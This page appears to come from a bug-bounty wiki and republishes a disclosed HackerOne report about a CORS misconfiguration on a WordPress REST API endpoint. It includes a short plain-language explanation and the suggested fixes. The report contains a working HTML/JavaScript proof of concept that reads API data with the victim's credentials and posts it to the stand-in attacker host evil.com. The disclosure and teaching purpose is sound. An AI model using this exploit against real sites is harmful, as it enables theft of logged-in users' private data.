Skip to content
CORS Disclosed report Beginner

(CORS) Cross-origin resource sharing misconfiguration

The WordPress REST API endpoint reflected any Origin header in its CORS response and allowed credentials, so a malicious site could read authenticated users' data. An attacker could trick a logged-in victim into visiting a page that fetches sensitive information from the API and sends it to the attacker.

natanalves01001 Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 25 days
  • Disclosed after 33 days

Description: Affected website: https://██████████/wp-json

Impact

Step-by-step Reproduction :

  1. Send this request:
JavaScript
GET /wp-json HTTP/1.1
Host: █████████
Connection: close
Origin: http://evil.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
  1. Here you can see the response headers:
JavaScript
Access-Control-Allow-Origin: http://evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
  1. So you can write exploit:
JavaScript
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS PoC</h2>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://██████/wp-json/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
  1. Save file as .html and open in and see Sensitive Information.

Reference Exploit used: Exploit WordPress-5.2.4-Cross-Origin-Resource-Sharing

Suggested Mitigation/Remediation Actions:

FIX 1 - It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request. Reference: https://github.com/WP-API/WP-API/issues/2338 FIX 2 - It's also possible to create a rewrite rule on .htaccess (if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp/") to a Not Found (404) or a Default Page.

Impact

Cross Misconfiguration -Leakage Sensitive Information

The original report as published on HackerOne, by natanalves01001. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server dynamically reflected the Origin header in Access-Control-Allow-Origin while also allowing credentials, instead of using an allowlist.

Impact

An attacker could read sensitive information from a victim's account, but only if the victim visited a malicious page while logged in.

What the attacker needed

Victim is logged in; victim visits attacker's page

The fix

The report suggests either returning 404 for REST API requests or blocking requests containing rest_route via an .htaccess rewrite rule.

How it was found

  1. Send a request to the WordPress REST API endpoint with an arbitrary Origin header.
  2. Observe that the response reflects that Origin and allows credentials.
  3. Host a page that fetches the API with credentials and forwards the response to an attacker-controlled server.
  4. Open the page in a browser while logged in to see the sensitive information.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites use CORS to decide which other sites can read their data. Here the site trusted every website, so any page could read private information from the victim's account. The attacker only needed the victim to open a malicious page while logged in.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More by natanalves01001

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.